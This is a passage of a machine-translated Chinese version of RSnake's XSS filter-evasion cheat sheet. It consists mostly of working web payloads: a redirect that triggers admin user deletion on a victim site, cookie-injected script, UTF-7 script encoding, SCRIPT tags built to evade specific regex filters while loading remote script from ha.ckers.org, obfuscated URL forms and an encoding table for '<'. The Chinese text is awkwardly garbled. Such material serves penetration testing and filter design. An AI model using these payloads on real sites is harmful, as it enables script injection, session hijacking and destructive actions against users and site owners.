<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">

嵌入命令的IMG II

这是更加的可怕由于并无特别的标识符去使它看起开来可疑。除非不容许引入第三方域的图片。这个向量是使用一个 302 or 304(或其余可行方案)去重定向一个图片地址为带有某些命令的地址。所以一个正常的图片标签代码<IMG SRC=”a.jpg”>能够是带有命令的xss向量。可是用户看到的仅仅是正常的图片连接地址。下面是一个.htaccess(apche下)配 置文件去完成这个向量。(感谢Timo为这部分。)

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

Cookie篡改

这是公认的不着边际,可是我已经发下一个例子是用 <META 去覆盖cookie。另外一个例子是有些网站使用cookie中的某些数据去呈如今当前访问者的网页中为仅仅他本身而不是从远程数据库中获取。当这两个清静 联系在一块儿的时候,你能够经过修改cookie让javascript输入到用户页面中。(你能够借此让用户退出,改变用户的状态,甚至让用户以你的身份 登陆)

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

UTF-7编码

若是存在xss的页面没有提供页面charset header,或是对于任何被设为UTF-7 的浏览器,咱们能够利用下面的代码。(感谢Roman Ivanov 的提供),点击这儿为这个例子。(若是页面设置是自动识别编码且content-types 没有被覆盖,在ie浏览器或使用了IE渲染引擎的 Netscape 8.1,咋你不须要声明 charset )在没有改变编码的状况下它是不能工做在任何现代浏览器,这是为何它被标记为彻底不支持。Watchfire发现这个漏洞在Google’s 自定义 404 脚本中.

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

使用HTML 引用封装的xss

他是被测试在ie,具体因状况而异。它是为了绕过那些能够输入 “<SCRIPT>” 但不容许输入 “<SCRIPT SRC…”,经过正则”/<script[^>]+src/i”进行过滤的xss过滤区。

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js">

为了执行xss代码在那些容许输入”<SCRIPT>” 但不容许 “<script src…”靠正则拼配”/<script((\s+\w+(\s=\s(?:”(.)?”|’(.)?’|[^’”>\s]+))?)+\s|\s)src/i” (这个是重要的,由于我已经看到这个正则在实际环境中。)

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

另外一个逃避相同正则 “/<script((\s+\w+(\s=\s(?:”(.)?”|’(.)?’|[^’”>\s]+))?)+\s|\s)src/i”的xss代码

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

这是另外一个xss例子去绕过相同的过滤器,关于”/<script((\s+\w+(\s=\s(?:”(.)?”|’(.)?’|[^’”>\s]+))?)+\s|\s)src/i” 的正则过滤。我知道,我说过我将不会去痛痛快快的聊减灾技术。可是这是我所看到的惟一例子在容许用户输入<SCRIPT>可是不容许经过 src加在远程脚本的过滤这个xss的可用方法。(固然,还有一些其余方法去处理它,若是它们容许<SCRIPT> )

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

最后一个绕过”/<script((\s+\w+(\s=\s(?:”(.)?”|’(.)?’|[^’”>\s]+))?)+\s|\s)src/i”正则匹配的例子,经过重音符。(再以没法工做在firfox)

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

这个xss例子押注域哪些正则并不去拼配一对引号,而是去发现任何引号后就当即结束参数字符串。

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

这xss仍然让我担忧,由于他是几乎没有肯呢过去中止在没有阻止活动内容的状况下。

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

URL 字符串绕过

这里假设 “http://www.google.com/” 这种在语法上是不被容许的。

IP代替域名

<A HREF="http://66.102.7.147/">XSS</A>

URL 编码

<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>

双字节编码
(注意:有其余的双字节编码变种。请参考下面混淆后的ip为更多信息)

<A HREF="http://1113982867/">XSS</A>

十六进制编码
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit,由于十六进制数实在0-f之间,所以第三位开头的0能够被省略掉。

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

八进制编码
Again padding is allowed, although you must keep it above 4 total characters per class – as in class A, class B, etc…:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

混合编码
让咱们混合基本编码而且插入一个tab和换行符。为何浏览器容许这样,我是不知道。可是它是能够工做当它们被包含在引号之间。

<A HREF="h
tt  p://6   6.000146.0x7.147/">XSS</A>

协议绕过
“//”代替“http:// ” 能够节省更多字符。这是很是有用的当输入空间是有限的时候。两个字符可能解决大问题。也是容易绕过像”(ht|f)tp(s)?://” 这样的正则过滤。(感谢 Ozh 提出这部分)。你也能够改变//” 为 “\”。你须要保持斜杠在适当的地方。不然可能会被看成一个相对路径的url。

<A HREF="//www.google.com/">XSS</A>

Google “feeling lucky” I
Firefox 使用 Google的”feeling lucky” 函数去重定向用户输入的任何关键字。所以你能够在可利用页面使用任何关键字针对任何Firefox用户。它是使用了”keyword:” 协议。你可使用多个关键字像下面的例子:XSS+RSnake。它是没法使用在 Firefox as of 2.0。

<A HREF="//google">XSS</A>

Google “feeling lucky” II
这是使用一个小技巧让他工做在Firefox,由于只有它实现了 “feeling lucky” 函数。不像下一个例子,它是没法工做在 Opera ,因为 Opera认为它是一种老的钓鱼攻击。它是一个简单的畸形url。若是你点击弹出框的肯定按钮它将工做。可是因为这是一个错误对话框,我是说Opera是 不支持它。它也再也不被支持在 Firefox 2.0。

<A HREF="http://ha.ckers.org@google">XSS</A>

Google “feeling lucky” III
它是经过畸形url来工做在Firefox 和 Opera浏览器。由于只有他们实现了 “feeling lucky” 函数。像上面的例子同样,它们须要你的网站在谷歌搜索中排名第一。(例如google)

<A HREF="http://google:ha.ckers.org">XSS</A>

移除别名
结合上面的url。移除 “www.” 将节省四个字符。

<A HREF="http://google.com/">XSS</A>

绝对 DNS用额外的点

<A HREF="http://www.google.com./">XSS</A>

JavaScript link location

<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>

针对内容替换的攻击向量
假设 “http://www.google.com/” 会被替换为空。我确实使用了一个简单的攻击向量去针对特殊文字过滤依靠过滤器自己。这是一个例子去帮助建立向量。(IE: “java script:” 被替换为”java script:”, 它是仍能够工做在 IE,使用安全模块的 Netscape 8.1+ 和 Opera)

<A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>

字符编码表

再付 “<” 在html或是javascript中全部可能的编码形式。它们绝大多数是没法正常渲染的,可是能够在上文中某些情景下获得渲染。

<
%3C
&lt
&lt;
&LT
&LT;
&#60
&#060
&#0060
&#00060
&#000060
&#0000060
&#60;
&#060;
&#0060;
&#00060;
&#000060;
&#0000060;
&#x3c
&#x03c
&#x003c
&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C

字符编码和ip混淆器

下面地址中包含了在xss有用的各类基本转换器。

http://ha.ckers.org/xsscalc.html


做者和主编

Robert “RSnake” Hansen


翻译

老道

相关文章
相关标签/搜索